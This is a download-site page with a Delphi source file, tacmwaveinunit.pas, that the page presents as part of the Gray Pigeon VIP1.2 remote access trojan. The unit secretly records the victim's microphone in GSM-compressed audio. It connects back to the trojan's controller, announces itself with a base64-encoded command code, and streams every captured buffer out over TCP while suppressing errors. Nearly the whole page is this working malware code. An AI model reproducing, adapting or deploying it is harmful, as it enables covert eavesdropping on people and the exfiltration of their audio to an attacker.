⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 tacmwaveinunit.pas

📁 灰鸽子VIP1.2经典源代码
💻 PAS
字号:
unit TACMWaveInUnit;

interface

uses
  Windows,Classes, IdTCPClient,IdGlobal,ComCtrls,SysUtils,BASE64,MMSystem ,
  soundin,mixing,soundConverter,headers;


type
  TACMWaveInThread = class(TThread)
  private
    SysThread:TIdTCPClient;
    Acmin1: Tacmin;
    procedure ACMIn1BufferFull(Sender: TObject; Data: Pointer;
    Size: integer);
  protected

    procedure Execute; override;
  Public
    constructor Create;
    destructor Destroy; override;
  end;

implementation
uses MainServer;



procedure TACMWaveInThread.ACMIn1BufferFull(Sender: TObject; Data: Pointer;
  Size: integer);
var
 mdata: array[1..512] of char;
 k:integer;
begin
try
   for k := 1 to size do
      mdata[k] := pchar(dword(data) + k - 1)^;
   SysThread.WriteBuffer(mdata,Sizeof(mdata));
except
end;
end;

constructor TACMWaveInThread.Create;
var
  origformat: pWaveFormatEX;
  s: array[1..256] of byte;
  F: Tacmwaveformat;
begin
   inherited Create(True);

   SysThread:=TIdTCPClient.Create(nil);
   SysThread.RecvBufferSize:=32768;
   SysThread.SendBufferSize:=32768;
   ACMIn1:= Tacmin.Create(nil);

   acmin1.buffersize := 512;
   acmin1.numbuffers := 4;

   ACMIn1.onbufferfull:=ACMIn1BufferFull;

   GetMem(OrigFormat, Sizeof(TACMWaveFormat));

   with origformat^ do
     begin
       wformattag := 49;       // gsm 6.10 2kb
       nchannels := 1;
       nsamplespersec := 8000;
       navgbytespersec := 1625;
       nblockalign := 65;
       wbitspersample := 0;
       cbsize := 2;
       move(origformat^, s, Sizeof(TACMWaveFormat));
       s[18] := 0;
       s[19] := 64;
       s[20] := 1;
       move(s, f.format, sizeof(Tacmwaveformat));
     end;
   freemem(origformat);
   //Acmin1.BufferSize := trunc(f.Format.nAvgBytesPerSec / 20);
   //if Acmin1.buffersize <= f.format.nblockalign then
   //Acmin1.BufferSize := f.format.nblockalign * 2;
   //if Acmin1.buffersize > 1900 then acmin1.buffersize := 1900;
   //if Acmin1.buffersize = 150 then acmin1.BufferSize := 150 + 65;
   try
      Acmin1.Open(f);
   except
      ACMIn1.Close;
   end;

   ACMWaveOver:=True;

   FreeOnTerminate:=True;
   Suspended := false;
   //Priority:=tpIdle;
end;


procedure TACMWaveInThread.Execute;
var
  Request:String;
begin
   if H_GZVIP2004.ConRpcport(SysThread) then
     begin
       try
         Request:='005';
         Request:=EncodeBase64(Request);
         SysThread.Write(Request+EOL);
       except
         SysThread.Free;
         Self.Terminate;
         exit;
       end;
       try    //循环发送
         repeat
            Sleep(1);
         until (Terminated) or (SysThread.Connected=False);
       except
       end;
    end;

    SysThread.Disconnect;
    SysThread.Free;
//    Self.Terminate;
end;

destructor TACMWaveInThread.Destroy;
begin
  ACMWaveOver:=False;
  inherited destroy;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -